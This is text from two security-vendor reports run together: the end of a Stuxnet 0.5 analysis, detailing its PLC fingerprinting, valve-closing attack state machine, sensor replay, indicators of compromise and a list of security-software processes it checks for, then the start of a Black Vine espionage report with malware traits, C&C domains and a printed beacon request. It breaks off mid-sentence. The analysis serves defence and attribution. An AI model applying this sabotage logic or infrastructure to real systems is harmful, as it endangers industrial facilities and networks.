Man-in-the-Middle
In order to both fingerprint the target system and inject malicious Programmable Logic Controller (PLC) code, Stuxnet 0.5 replaces two Step 7 DLLs in order to hijack communications with a PLC.
The first DLL, s7otbxdx.dll, is hijacked in order to insert the malicious PLC code. The same technique was used in
Stuxnet versions 1.x (as described in W32.Stuxnet Dossier , Modifying PLCs ). Stuxnet 0.5 hooks fewer exports and
verifies the CPU is a 417 PLC rather than a 315 PLC, otherwise the behavior remains generally the same.
The second DLL, s7aaapix.dll, is used for fingerprinting the target system and building DB8061, a PLC data block
needed to conduct the attack. The export AUTDoVerb is hijacked and the malicious s7otbxdx.dll file can call the
export with magic values (0x91E55A3D, 0x996AB716, 0x4A5CBB03) in order to build or provide a previously built DB8061 data block for injection. Stuxnet hijacks AUTDoVerb in order to monitor any “DOWNLOAD” verb
actions, which signifies the fingerprinting and building of DB8061 must occur again in order to ensure the target system is still correctly configured.Stuxnet 0.5: The Missing LinkPage 6
Security ResponseFingerprinting and building DB8061
The building of the DB8061 block is a complicated and
lengthy process.
Through the hijacked export, Stuxnet 0.5 will receive a
pointer to the most recently used block (PLC programs consist of code and data blocks). Stuxnet 0.5 will then traverse the project structure in order to find the symbols used by the S7 Program in the active project. Symbols are human designated labels representing each device controlled by the PLC. The symbol labels loosely follow the ANSI/ISA S5.1 Instrumentation Symbols and Identification
standard used in Piping and Instrumentation Diagrams (P&ID).
Stuxnet 0.5 uses these labels for both fingerprinting and
determining the addresses of each device in order to modify the behavior of those devices.
Symbol label parsing
The target system must be a SIMATIC 400 Station (0x14109A) or SIMATIC H-Station (0x141342), which use 417 PLCs. The symbol labels must match the format:
<delimiter><FunctionIdentifier><delimiter><C
ascadeModule><delimiter><CascadeNumber><DeviceNumber>
A valve in module A21, also in cascade 8, and associated with centrifuge 160, would have the symbol label PV-
A21-8-160, for example.
Each field is defined as follows:
Delimiter
Either space (“ “), hyphen (“-”), underscore (“_”), or not present at all.
FunctionIdentifer
A string that matches a set of strings (available in Appendix C) that loosely follows the ANSI/ISA S5.1
Instrumentation Symbols and Identification standard. If the string is “PIA” (Pressure Indicator Alarm), it is expected to be followed by a one digit number. These strings will represent the device type (a valve, a transducer, or a status light, for instance).
CascadeModule
Must be the string “A21” to “A28” inclusive. These strings match cascade modules in Natanz, Iran, seen publicly described as “A24”, “A26”, and “A28”.
CascadeNumber
Single character that is in the letter range A to R. If it is not in this letter range, it checks to see if it is two digits in the decimal range 00 to 18. This two digit number is the number representation of the letter for A to R.Table 4
Stuxnet 0.5 hooks fewer exports
Stuxnet v0.500 Stuxnet v1.xxx
s7_event s7_event
s7ag_bub_cycl_read_create
s7ag_bub_read_vars7ag_bub_read_var_segs7ag_bub_write_var
s7ag_bub_write_var_seg
s7ag_link_in
s7ag_read_szl s7ag_read_szl
s7ag_test s7ag_test
s7blk_delete s7blk_delete
s7blk_findfirst s7blk_findfirst
s7blk_findnext s7blk_findnext
s7blk_read s7blk_read
s7blk_write s7blk_write
s7db_close
s7db_open s7db_openStuxnet 0.5: The Missing LinkPage 7
Security ResponseDeviceNumber
This is parsed in a more complex fashion depending on the device type as determined by the function identifier
and caters to three possible cascade arrangements. The device type mappings to function identifiers are available in Appendix C.
Device type 0
A string of digits: If the length of the digits is less than three, the device type is changed to device type 6. If the length of the digits is greater than or equal to three, the device type is changed to device type 7.
Device type 1, 2, 3
“##”: A two digit number in the range 1 to 25.
Device type 4, 5, or 7
Device type 4, 5, or 7 has three different formats:
Format 1
“####”: Decoded as two separate two-digit numbers representing the stage number and the centrifuge number within the stage, respectively. The stage number must be in the decimal range 1 to 15, which matches with the known Natanz configuration. For each of these 15 stages, the maximum number of expected centrifuges in each corresponding stage is looked up in the following array.
This means, for example, stage 3 is expected to have a second two digit number equal to 4 or less. This
requirement is consistent with the centrifuge arrangement within a cascade.
Format 2
“###”: A three digit number that must be less than 164, which is the number of centrifuges in a cascade.
Format 3
“##L”: A two digit number followed by a letter. The letter must be in the range A to D, and the number must be in the decimal range 1 to 43. This arrangement sub-divides each stage into sub-clusters of four.
Device type 6
“##”: A two digit number in the range 1 to 30.
Device type 8, 9, B, or C
“##”: A two digit number in the range 1 to 3.Table 5
Stage numbers with expected numbers of centrifuges
Stage1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Max #2 2 4 6 8 10 12 16 20 24 20 16 12 8 4Stuxnet 0.5: The Missing LinkPage 8
Security ResponseDevice type A
“##<delimiter><string>”: A two digit number in the range 1 to 3 with an optional string preceded by a
delimiter character. The string must start with the letter S and contain the letter P. If the string is present, the device is modified to be device type 0xB instead (Flow Rate Transmitter Controller Output, rather than device type 0xA which is Flow Rate Transmitter Controller Input).
Based on the symbol fingerprinting, the following table summarizes what devices and labels Stuxnet looks for within the symbol table.
Symbol address parsing
Each symbol label will have two corresponding addresses: -- the address in the process image area and the direct peripheral address of the device represented by the symbol. Modifying the memory at these addresses allows the PLC to control and read the behavior of the associated device. For example, the value may be a Boolean value turning a switch on or off, or a 16-bit value representing the current temperature of the system. Addresses can be either outputs (the PLC sets the value to modify the behavior of the device) or inputs (the PLC reads the value to determine the current state of the device).
Device types 0, 1, 5, and B must be output addresses and device types 2, 3, 4, 5, 6, 7, 8, 9, A, and C must be
input addresses.
Values at addresses for device types 0, 1, 2, 3, 4, and 5 must be bit values. Values at addresses for device types
6, 7, 8, 9, A, B, and C must be 16-bit values.
Cascade rating and building DB8061
After parsing the symbols and addresses for each cascade, the code inspects the configuration of each cascade. Depending on the configuration, a rating is calculated. Certain devices in certain configurations will result in higher ratings. When complete, only the six highest-rated cascades have data written to DB8061.
Finally, a flag is set signifying DB8061 has been built. This flag is reset to 0 every time the “DOWNLOAD” verb is
executed.Table 6
Summary of Stuxnet symbol label parsing
Device type P&ID function identifierDevices per cascade
Min Max
Auxiliary valve {HS, HV, PV, EP}, {ZLO,ZO},{ZLC,ZC} 2 25
Centrifuge valve {MVS, RVS, VS}, {MV,RV,SV,YV} 163 164
Stage pressure transducer PT, PCV, PIA#, PIT, PIC, PI, PS 3 30
Centrifuge pressure transducer PT, PCV, PIA#, PIT, PIC, PI, PS 0 164
Flow rate sensor {FIA}, {FIT}, {FITC},FIC,FT,MFC,MFM} 0 3Stuxnet 0.5: The Missing LinkPage 9
Security ResponsePLC device attack code
The code conducts an attack by closing valves in the six top rated cascades out of the possible 18 cascades. The
states of two types of valves are modified:
• Centrifuge valves – a set of three valves (feed, product, tails) that work in unison per centrifuge to control
uranium hexafluoride (UF6) flow into each centrifugeStage valves – one per stage to control UF6 flow into each stage
• Auxiliary valves – valves that control UF6 flow into or out of each stage (stage valve) or the cascade as a whole
Similar to version 1.x of Stuxnet, the PLC device attack code consists of a state machine with eight possible states:
State 0 (Wait): Perform system identification and wait for the enrichment process to reach steady state before
attack. This can take approximately 30 days.
State 1 (Record): Take peripheral snapshots and build fake input blocks for replaying later. State 2 (Attack centrifuge valves): Begin replaying fake input signals. Close valves on most centrifuges. State 3 (Secondary pressure reading): Open both centrifuge and feed stage valves in the final stage of a single
cascade to obtain a low pressure reading.Figure 2
Example valve configuration showing both valve types in three stages of a cascade
Stuxnet 0.5: The Missing LinkPage 10
Security ResponseState 4 (Wait for pressure change): Wait for desired pressure change or time limit. This can take up to
approximately two hours.
State 5 (Attack auxiliary valves): Open all auxiliary valves except valves believed to be near the first feed stage
(stage 10). Wait for three minutes in this state.
State 6 (Wait for attack completion): Wait for six minutes while preventing any state changes.State 7 (Finish) : Reset and return to state zero.
State 0:The code verifies the system has reached steady state by monitoring the state of each auxiliary valve and the
amount of elapsed time.
• The valves must not change state for a period of 300 snapshots. In addition, the code determines if most of the
centrifuge valves are in the open or closed position.
• All cascades must be operational for three or more days, or currently be in the down state.
• At least one cascade must have been operating for more than 35 days, or collectively all cascades must have been operating for more than 297 days.
• Between 3 and 7 of the first 21 auxiliary valves must have been opened in the last 2 days.Figure 3
State flow diagram of 417 PLC device attack code
Stuxnet 0.5: The Missing LinkPage 11
Security Response• Most of the pressure readings associated with the auxiliary valves must be within an expected range.
Only if these all conditions are met does the code proceed to state 1.
State 1:There are 21 snapshots of the peripheral I/O values that are taken one second apart. These values are stored for
replay during the attack. This prevents systems and technicians from realizing the system is no longer operating as expected.
State 2:First, the normal operating pressure is obtained and stored for replay later. For each stage a portion of all the
centrifuge valves are closed, except in the feed stage (stage 10). The centrifuge valves in the feed stage remain completely open, while the centrifuge valves at both the product end and tails end are completely closed.
The particular centrifuge valves closed per stage are randomly chosen. The code will randomly chose a starting
centrifuge valve and then close the next one in order until the last centrifuge valve in the stage. If the total desired number of valves to close for that stage has not been reached, the code will continue from the first centrifuge valve in the stage until the maximum valves to close are reached.
State 3:
In state 3, in a single cascade, both centrifuge valves in stage 1 are opened and it is likely the stage valve of stage 1 is
also opened. Then, the code obtains a pressure reading at stage 1. The pressure should be relatively low. This value is used for replay in later stages. If the normal pressure operating pressure wasn’t obtained properly in state 2, state 3 is actually skipped and hardcoded default values are used instead.
State 4:State 4 waits for the desired pressure change or other predetermined time limits before proceeding to state 5. If any
of the following conditions are met, the code will continue to state 5:
• The pressure of the stage 10 or stage 11 transducer (these are likely transducers for or near the feed stage) has an
absolute value greater than 280 units above the expected value and greater than five times the expected value.
• 46 minutes after the state of an auxiliary valve has been modified from the original state recorded in state 1, with the exception of auxiliary valve number 17 which is likely a stage valve near the product end.
• 2 hours and 3 minutes after the attack started (since state 2) without any centrifuge valve state changes.
• 2 hours and 3 minutes since at least four centrifuge valve states have been modified from the original state recorded in state 1.
State 5:
In state 5, all the auxiliary valves are opened except valve numbers 17, 18, and 20. Before continuing to state 6, the Table 7
Processing stages and valves states
Stage 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Centrifuges 2 2 4 6 8 10 12 16 20 24 20 16 12 8 4
Centrifuge
valves to close2 2 2 4 6 8 10 13 14 0 14 13 10 8 4
Percentage closed100% 100% 50% 67% 75% 80% 83% 81% 70% 0% 70% 81% 83% 100% 100%Stuxnet 0.5: The Missing LinkPage 12
Security Responsecode waits for at least 2 minutes and 53 seconds.
State 6:During state 6, fake values continue to be replayed and any attempts to change device values are prevented for 6
minutes and 58 seconds.
State 7:Data is reset and the code returns to state 0.By closing all valves except the initial feed stage valves, UF6 will continue to flow into the system. This act alone
may cause damage to the centrifuges themselves. However, the attack expects the pressure to reach five times the normal operating pressure. At this pressure, significant damage to the uranium enrichment system could occur and the UF6 gas could even revert to a solid.
Whether the attack succeeded in this manner or not remains unclear. Even if the attack did succeed, the attackers
decided to move to a different strategy in the Stuxnet 1.x versions, attacking the speed of the centrifuges instead.
Conclusion
Stuxnet 0.5 clarifies the evolution and history of Stuxnet. Stuxnet clearly became more aggressive over time and switched development platforms as it evolved from 0.5 versions to later 1.x versions.
Key parts of the 417 attack code missing from versions 1.x is fully implemented in Stuxnet 0.5. This demonstrates
that the 417 attack code was the first attack strategy implemented by Stuxnet. This original 417 attack code attempted to modify valve states during the uranium enrichment process at Natanz, Iran, to cause damage to the centrifuges and the system as a whole.
The success of Stuxnet 0.5 remains unknown. However, the chart in figure 4 references uranium enrichment production at Natanz to key milestones of Stuxnet development. Interesting events are dips in feed or production amounts and lower levels of production given the same or greater feed amounts (shown as gaps between the two lines).
While the discovery of Stuxnet
0.5 helps to deepen our overall understanding of Stuxnet and what its goals are, versions remain unrecovered. If these are located, they may expose other secrets behind this operation and more clues to its origins, but obtaining these other samples may prove to be next to impossible.Figure 4
Low-enriched uranium production (source ISIS)
Stuxnet 0.5: The Missing LinkPage 13
Security ResponseAppendix A
The following registry entries are indicators of compromise:
• HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\MRxCls
• HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\usbacc11
• HKEY _ USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\
ShellRecoveryState
The following files are indicators of compromise:
• %WinDir%\inf\mdmcpq3.PNF – Encrypted installation.dll
• %WinDir%\inf\mdmeric3.PNF – P2P configuration file
• %WinDir%\inf\oem6C.PNF – Log file
• %WinDir%\inf\oem7A.PNF – Main Stuxnet component (outbreak.dll)
• %WinDir%\inf\oem7F.pnf
• %WinDir%\inf\oem7w.pnf – Encrypted installation.dll
• %WinDir%\inf\~67.tmp – Encrypted installation.dll
• %System%\drivers\mrxcls.sys – Load point driver
• %System%\drivers\usbacc11.sys – Load point driver for C&C server modules
• %System%\drivers\PCIBUS.SYS – Timer driver for generating BSoD
• %System%\comuid.dat
• %System%\netsimp32.dll – P2P communication
• %System%\inetpsp.dll – C&C server communication
• %System%\perfg009.dat
• %WinDir%\msagent\agentsb.dll
• %WinDir%\msagent\intl\agt0f2e.dll
• %System%\complnd.dll
• %System%\dllcache\datacprs.dll
• %System%\wbem\perfnws.dll
• %WinDir%\Installer\{6F716D8C-398F-11D3-85E1-005004838609}\places.dat
• %System%\dssbase.dat – Log file
• %AllUsersProfile%\Application Data\Microsoft\HTML Help\hhorcslt.dat
• %Temp%/DF419a.tmp
• %WinDir%\help\winmic.fts – Configuration file for Step 7 infectionsStuxnet 0.5: The Missing LinkPage 14
Security ResponseAppendix B
Processes checked for and the assumed security product associated with the process:
• umxagent, Tiny Personal Firewall
• cfgintpr, Tiny Personal Firewall
• umxldra, Tiny Personal Firewall
• amon, Tiny Activity Monitor
• UmxCfg, Tiny Personal Firewall
• UmxPol, Tiny Personal Firewall
• UmxTray, Tiny Personal Firewall
• vsmon, ZoneAlarm Personal Firewall
• zapro, ZoneAlarm Personal Firewall
• zlclient, ZoneAlarm Personal Firewall
• tds-3,TDS3 Trojan Defense Suite
• avp, Kaspersky
• avpcc, Kaspersky
• avpm, Kaspersky
• kavpf, Kaspersky
• kavi, Kaspersky
• safensec,SafenSoft
• snsmcon, SafenSoft
• filemon, Sysinternals Filemon
• regmon, Sysinternals Filemon
• FrameworkService, McAfee
• UpdaterUI, McAfee
• shstat, McAfee
• naPrdMgr, McAfee
• rapapp.exe, Blackice Firewall
• blackice.exe, Blackice Firewall
• blackd.exe, Blackice Firewall
• rcfgsvc.exe
• pfwcfgsurrogate.exe, Tiny Personal Firewall
• pfwadmin.exe, Tiny Personal Firewall
• persfw.exe, Kerio Personal Firewall
• agentw.exe, Kerio Personal Firewall
• agenta.exe, Kerio Personal Firewall
• msascui.exe, Windows Defender
• msmpeng.exe, Windows Defender
• fssm32.exe, F-Secure
• fsgk32st.exe, F-Secure
• fsdfwd.exe, F-Secure
• fsaw.exe, F-Secure
• fsavgui.exe, F-Secure
• fsav32.exe, F-Secure
• fsav.exe, F-Secure
• fsma32.exe, F-Secure
• fsm32.exe, F-Secure
• fsgk32.exe, F-SecureStuxnet 0.5: The Missing LinkPage 15
Security ResponseAppendix C
Table of each allowed function identifier, the corresponding device type, and the assumed device name.
Table 8
Function identifiers, device types, and assumed device name
Function identifier Device type Device name
PT 0 Pressure Transmitter
PCV 0 Pressure Control Valve
PIA 0 Pressure Indicator Alarm
PIT 0 Pressure Indicator Transmitter
PIC 0 Pressure Indicator Controller
PI 0 Pressure Indicator
PS 0 Pressure Switch
HS 1 Hand Switch
HV 1 Hand Valve
PV 1 Pressure Valve
EP 1 Voltage (Test) Point
ZLO 2 Light Position Open (Status light)
ZO 2 Position Open
ZLC 3 Light Position Closed
ZC 3 Position Closed
MVS 4 Manual Valve Switch
RVS 4 Relief Valve Switch
VS 4 Valve Switch
SHS 4 High Frequency Switch
MV 5 Manual Valve
RV 5 Relief Valve
SV 5 Frequency Control Valve
YV 5 Valve State Indicator
FIA 8 Flow Rate Indicator Alarm
FITC A Flow Rate Indicator Transmitter Controller
FIT 9 Flow Rate Indicator Transmitter
FIC C Flow Rate Indicator Controller
FT C Flow Rate Transmitter
MFC C Mass Flow Controller
MFM C Mass Flow MeterStuxnet 0.5: The Missing LinkPage 16
Security ResponseAppendix D
Organization of Stuxnet 0.5 components and behavior of each export.
Figure 5
Organization of Stuxnet 0.5 components
Table 9
Payload exports for Outbreak.dll
Payload exports Description
Export 1 Infect Step 7 projects on insertion of removable drives
Export 2 Hook Step 7 for Step 7 project infection
Export 4 Uninstall routine
Export 5 Verifies installation
Export 6 Returns version number
Export 7 Loads peer-to-peer communication data file
Export 8, 9, and 10 Updates Stuxnet from infected Step 7 project archives
Export 11 Inject module into services.exe
Export 12 Install routine
Export 13 Call export 1Stuxnet 0.5: The Missing LinkPage 17
Security ResponseResources
W32.Duqu
http://www.symantec.com/security_response/writeup.jsp?docid=2011-101814-1119-99W32.Flamerhttp://www.symantec.com/security_response/writeup.jsp?docid=2012-052811-0308-99W32.Stuxnethttp://www.symantec.com/security_response/writeup.jsp?docid=2010-071400-3123-99Multiple Siemens SIMATIC Products DLL Loading Arbitrary Code Execution Vulnerability (CVE-2012-3015)http://www.securityfocus.com/bid/54651Stuxnet 0.5: The Missing Linkhttp://www.symantec.com/connect/blogs/stuxnet-05-missing-linkStuxnet 0.5: Disrupting Uranium Processing At Natanzhttp://www.symantec.com/connect/blogs/stuxnet-05-disrupting-uranium-processing-natanzStuxnet 0.5: How it Evolvedhttp://www.symantec.com/connect/blogs/stuxnet-05-how-it-evolvedStuxnet 0.5: Command-and-Control Capabilities http://www.symantec.com/connect/blogs/stuxnet-05-command-and-control-capabilities
Community credits
Symantec would like to thank the Institute for Science and International Security (ISIS) for their continued
assistance in understanding centrifugal uranium enrichment systems.
|
SECURITY RESPONSE
Black Vine has been actively conducting cyberespionage
campaigns since 2012 and has been targeting several industries, including aerospace, energy, and healthcare. The Black Vine
cyberespionage group
Jon DiMaggio
Version 1.11 – Aug 6, 2015The Black Vine cyberespionage groupCONTENTS
OVERVIEW ..................................................................... 3
Introduction .................................................................. 5
Key findings ................................................................... 5
Targets ........................................................................... 7
Attackers’ resources ..................................................... 8
Campaigns .................................................................. 11
Energy ................................................................... 11
Aerospace .............................................................. 12
Healthcare ............................................................. 13
Who is behind Black Vine? .......................................... 14
Topsec association ................................................ 14
Zero-day access and distribution .......................... 15
Attribution ............................................................. 16
Conclusion ................................................................... 18
Mitigation .................................................................... 18
AV .......................................................................... 18
IPS ......................................................................... 18
Appendix ..................................................................... 20
Black Vine domains ............................................... 20
Black Vine MD5s .................................................... 20In early 2014, Anthem was a victim of an attack that exposed 80 million patient records.
The breach, which came to light in February 2015, is believed to be the work of a well-
resourced cyberespionage group which Symantec calls Black Vine.
Anthem wasn’t Black Vine’s only target. Black Vine has been actively conducting its
campaigns since 2012 and has been targeting several industries, including aerospace,
energy, and healthcare. The group has access to zero-day exploits distributed through the
Elderwood framework and has used these exploits as the same time that other advanced attack groups have, such as Hidden Lynx.
Black Vine typically conducts watering-hole attacks against websites that are relevant to
its targets’ interests and uses zero-day exploits to compromise computers. If the exploits succeed, then they drop variants of Black Vine’s custom-developed malware: Hurix and
Sakurel (both detected as Trojan.Sakurel), and Mivast (detected as Backdoor.Mivast). These
threats open a back door on the compromised computers and allow the attackers to steal valuable information.
Based on our own analysis of the campaigns, along with support from open-source data,
Symantec believes that some actors of Black Vine may be associated with an IT security organization based in Beijing called Topsec.
OVERVIEWThe discovery
of the database queries soon led Anthem to realize that it was under attack from an advanced cyberespionage group.
INTRODUCTIONPage 5
The Black Vine cyberespionage group
Introduction
On January 26, 2014, a systems administrator for the major healthcare provider Anthem discovered that their
account had been compromised to access sensitive data from an internal database. Multiple queries had been run from the account, but the system administrator realized that someone else had executed the queries. The discovery of the database queries soon led Anthem to realize that it was under attack from an advanced cyberespionage group. This attack is believed to be the largest healthcare data breach to date, resulting in the theft of over 80 million records. Symantec refers to the group behind the attack as Black Vine.
Details of the breach emerged in early February 2015, when the public learned of the magnitude of the attack
against the US’ second largest healthcare provider. The breach, conducted by Black Vine, has been one of the most highly publicized and reported attacks so far in 2015. However, this was only one of several of Black Vine’s targeted campaigns, which spread across multiple industries.
Since 2012, Black Vine has been conducting targeted attacks against multiple industries, including the energy,
aerospace, and healthcare sectors. The group uses advanced custom-developed malware, zero-day exploits, and other tactics, techniques and procedures (TTPs) typically associated with highly capable, organized attackers.
The purpose of this study is to document all of Black Vine’s known attacks, beginning in 2012 and continuing
to present day. Connecting multiple Black Vine campaigns over time not only shows the group’s previous operations, but also demonstrates how the adversary has evolved. The intent of this report is to help organizations better understand Black Vine, including its TTPs, motivations, and its use of unique malware, and defend themselves against this threat.
Key findings
After researching Black Vine’s attacks over time, Symantec identified the following key findings:
• Black Vine is responsible for carrying out cyberespionage campaigns against multiple industries, including
energy, aerospace, and healthcare.
• Black Vine conducts watering-hole attacks targeting legitimate energy- and aerospace-related websites to compromise the sites’ visitors with custom malware.
• Black Vine appears to have access to the Elderwood framework , which is used to distribute zero-day exploits
among threat groups that specialize in cyberespionage.
• Black Vine uses custom-developed malware and has resources to frequently update and modify its malware to avoid detection.
The findings documented in this report lead Symantec to believe that Black Vine is an attack group with working relationships with multiple cyberespionage actors. The group is well funded, organized, and comprises of at least a few members, some of which may have a past or present association with a China-based IT security organization called Topsec.Black Vine frequently
conducts watering-hole attacks, which is when a legitimate website is compromised by an attacker and forced to serve malware to visitors of the website.
TARGETSPage 7
The Black Vine cyberespionage group
Targets
Over the course of the Black Vine investigation, Symantec identified a number of targeted companies across
several verticals. Analysis of attack data alone is misleading, due to Black Vine’s attack vectors. Black Vine frequently conducts watering-hole attacks, which is when a legitimate website is compromised by an attacker and forced to serve malware to visitors of the website. As a result, an analysis of compromised computers alone does not portray an accurate picture of Black Vine’s targeting objectives. Instead, this shows us the industries with the highest infection rates of Black Vine’s malware.
Based on an analysis of
Symantec’s telemetry data, the following industries have been affected by Black Vine’s activity:
• Aerospace
• Healthcare
• Energy (specifically,
gas and electric turbine manufacturers)
• Military and defense
• Finance
• Agriculture
• Technology
To further determine Black Vine’s intended target industries, Symantec assessed the companies who own the affected websites. Symantec also investigated attacks believed to have been conducted by Black Vine which didn’t involve watering-hole attacks. After assessing multiple attack verticals, Symantec believes that Black Vine’s primary targeted industries have been aerospace and healthcare. It is likely that other industries that were affected by these attacks may have been secondary targets.
Black Vine’s targets are spread across several regions, based on the IP address locations of the compromised
computers. The vast majority of infections affected companies in the US, followed by China, Canada, Italy, Denmark, and India.
Figure 1. Black Vine victims by regionPage 8
The Black Vine cyberespionage group
Attackers’ resources
Black Vine appears to have access to a wide variety of resources to let it conduct multiple simultaneous attacks
over a sustained period of time. These resources include the development of custom malware, access to zero-day exploits, and attacker-owned infrastructure. Funding and resourcing for sustained cyberespionage campaigns against such a breadth targets can only be obtained through large public entities or privately owned organizations.
Our analysis showed three major variants of Black Vine’s custom malware used in activity that we attribute
to the attack group. The three variants of custom-developed malware are known as Hurix and Sakurel (both detected as Trojan.Sakurel), and Mivast (Backdoor.Mivast). These variants are believed to have been created by the same malware author(s) and use some of the same code and resources. For example, Hurix and Sakurel have the following similarities:
• Both Hurix and Sakurel gather the computer name of the target and encrypt data using the same algorithm.
• This algorithm uses division and addition with static variables 1Ah and 61h. The location of the algorithm in
each threat is as follows:
o Hurix: 402A75h
o Sakurel: 1000147Bh
• Similar data and parameters exist in the network communication parameters:
o Both variants use the parameter “type” which is initialized with zero value.
o Both variants use a parameter that contains the same data, as seen below:
Hurix : cookie=iztkctcebtgbbyf-2135928347 (where “cookie” is the parameter,
“iztkctcebtgbbyf” is the encrypted computer name, and “-2135928347” is the decimal equivalent of the hard disk serial number)
Sakurel : imageid=iztkctcebtgbbyf-2135928347 (where “imageid” is the parameter,
“iztkctcebtgbbyf” is the encrypted computer name, and “-2135928347” is the decimal equivalent of the hard disk serial number)
All three variants of Black Vine’s malware have the following capabilities:
• Open a pipe back door
• Execute files and commands
• Delete, modify, and create registry keys
• Gather and transmit information about the infected computer
The following unique traits were identified in the URL patterns seen in network communication requests
between the malware and command-and-control (C&C) infrastructure from each variant:
• photoid=
• resid=
• imageid=
• vid=
For example:• www.polarroute.com/newimage.asp/imageid=oonftwwtwwtzx1755999261&type=0&resid=139890
• www.polarroute.com/viewphoto.asp/resid=126546&photoid=oonftwwtwwtzx1755999261
In most cases, the malware is made to look like a technology-related application. Some of the themes used to
disguise the malware include Media Center, VPN, and Citrix applications. The C&C server or malware-hosting domain is also themed similarly to the malware’s disguise. For example, in one instance, a Sakurel sample was named MediaCenter.exe (MD5:1240fbbabd76110a8fC&C9803e0c3ccfb). The C&C domain that the malware communicated with used a Citrix theme: citrix.vipreclod.comPage 9
The Black Vine cyberespionage group
Additionally, most of the analyzed malware samples have been digitally signed by Korean software company
DTOPTOOLZ Co or embedded software product developer MICRO DIGITAL INC. Symantec has observed that the DTOPTOOLZ Co certificate has been used to sign a malicious binary in adware and malvertising campaigns which are unrelated to Black Vine activity. Both of the digital certificates previously used to sign Black Vine’s malware have either expired or been revoked. The details on both of the certificates are as shown in Figures 2 and 3.
Figure 2. DTOPTOOLZ CO digital certificate details
Figure 3. MICRO DIGITAL INC. digital certificate detailsIn all of the
investigated Black Vine campaigns, the primary objective has been to gain access to their targets’ infrastructure and steal information.
CAMPAIGNSPage 11
The Black Vine cyberespionage group
Campaigns
The earliest known attack that Symantec attributes to Black Vine began in 2012. Since then, Symantec has
observed Black Vine conducting multiple targeted campaigns. In all of the investigated Black Vine campaigns, the primary objective has been to gain access to their targets’ infrastructure and steal information.
Energy
In late December 2012, security researcher Eric Romang published a blog, reporting that gas turbine
manufacturer Capstone Turbine became a victim of a watering-hole attack. Symantec’s investigation confirmed Romang’s findings that during the attack, Capstone Turbine’s legitimate domain, capstoneturbine.com, was serving an exploit for a zero-day bug known as the Microsoft Internet Explorer ‘CDwnBindInfo’ Use-After-Free
Remote Code Execution Vulnerability (CVE-2012-4792). Users who browsed Capstone’s website using vulnerable versions of Internet Explorer at the time were ultimately compromised with the Sakurel payload. Sakurel provided Black Vine with access to the compromised computers and their information. As previously mentioned, the Sakurel sample seen in this attack was digitally signed by MICRO DIGITAL INC.
Details about the Sakurel malware samples associated with the attack are as follows:
• MD5 hash: 61fe6f4cb2c54511f0804b1417ab3bd2
• C&C domain: web.viprclod.com
• Vulnerability: CVE-2012-4792
• Compile time: December 8, 2012 07:54:44
Additionally, the C&C domain used in the attack, web.viprclod.com, may be a typo-squat domain designed to
pose as the legitimate domain VipeCloud.com. The legitimate website belongs to VipeCloud, which provides sales and marketing automation as a service. This could be a coincidence or re-used infrastructure from other unknown attacks. However, the domain was registered on December 10, 2012, just two days after the Sakurel samples that were used in energy-related attacks were compiled. Regardless, the C&C server theme is not constant with themes we would expect to see with energy-related targets.
The following information was used to register the attacker’s C&C domain viprclod.com on December 10, 2012:
• Domain name: VIPRECLOD.COM
• Created on : 10-Dec-12
• Expires on: 10-Dec-13
• Last Updated on: 10-Dec-12
• Administrative contact:
o moon, today [email protected]
o xingfudadao
o sitemo, ai no 236963
o Tanzania
Capstone Turbine is a US-based gas turbine manufacturer which specializes in micro turbine power along
with heating and cooling cogeneration systems. Capstone Turbine’s intellectual property in the research and development of energy and power technologies is likely what made it a target for cyberespionage.
On December 24, 2012, Black Vine targeted a second turbine power and technology manufacturer. While the
details of this attack cannot be publicly disclosed, Sakurel was also used in this attack. Considering how Back Vine conducted multiple waves of zero-day attacks and targeted turbine manufacturers, it’s likely that the attack group’s primary targeted industries at the time were involved in energy-related technologies.Page 12
The Black Vine cyberespionage group
Aerospace
In mid-2013, a third-party blog documented how a Citrix-themed lure was used in targeted attacks against a
global airline to deliver the Hurix malware. According to the blog, the malware was delivered through spear-phishing emails sent to specific employees at the airline. The emails included a URL that directed the user to download Hurix to their computer. Unfortunately, Symantec did not have access to the data needed to validate the claims made in the blog. We are including a high-level summarization of the attack for documentation purposes.
In February 2014, Black Vine compromised the website of a European aerospace company. The attackers gained
access to the organization’s domain and leveraged its home page to compromise the website’s visitors. The watering-hole attack was likely conducted to target more people in the aerospace industry. Similar to the attacks against energy-related targets in 2012, the attackers exploited a new zero-day bug known as the Microsoft
Internet Explorer Use-After-Free Remote Code Execution Vulnerability (CVE-2014-0322). The payload of the
attack was an updated version of Sakurel. Details on the Sakurel sample identified in the attack are as follows:
• MD5 hash: c869c75ed1998294af3c676bdbd56851
• C&C domain: oa.ameteksen.com
• Vulnerability: CVE-2014-0322
• Compile time: July 16, 2013 03:44:36
Once the victim was infected, Sakurel made the following network call to the C&C domain oa.ameteksen.com:
GET /script.asp?resid=93324828&nmsg=del&photoid=iztkctcebtgbbyf-2135928347
HTTP/1.1
The C&C domain ameteksen.com was registered with the following details:
• Domain name: AMETEKSEN.COM
• Registrar URL: http://www.godaddy.com
• Updated date: 2013-10-15 05:15:20
• Creation date: 2013-10-15 05:06:32
• Registrar expiration date: 2014-10-15 05:06:32
• Registrar: GoDaddy.com, LLC
• Registrant country: China
• Name: ghregjr ngrjekg
• Street: kwjfhrjkgh
• City: rjekteyu
• State/Province:
• Postal code: 37182
• Country: China
• Phone: +86.3781263856
• Email: [email protected]
Black Vine likely created the domain ameteksen.com to disguise it as the legitimate ameteksensors.com or
ametek.com, owned by aerospace and defense contractor Ametek.
During our investigation of Black Vine’s aerospace-related attacks, Symantec discovered that the group used an
unusual tactic. After the Sakurel payload was initially run on the victim’s computer, the malware made changes to the victim’s host file. The host file is normally used by the Windows operating system as a mechanism to statically map a domain to an IP address, rather than using a network-based domain name system (DNS) lookup. Oddly, Black Vine’s modifications to the host file added static entries resolving the legitimate domains to their legitimate IP addresses.
Altering a host file to map a domain to its legitimate IP address is unusual, because the default DNS requests
would provide the same mapping. This type of tactic would usually be seen in instances where an attacker wanted to redirect a legitimate domain to their own malicious infrastructure in order to steal credentials or infect the target with additional malware. However, altering the host file on the infected computer could allow the victim to discover that their computer had been compromised. Page 13
The Black Vine cyberespionage group
The Sakurel samples seen in Black Vine’s
attack against one aerospace industry victim modified the victim’s host file to redirect the legitimate URLs and IP addresses in Table 1.
While investigating this attack, multiple
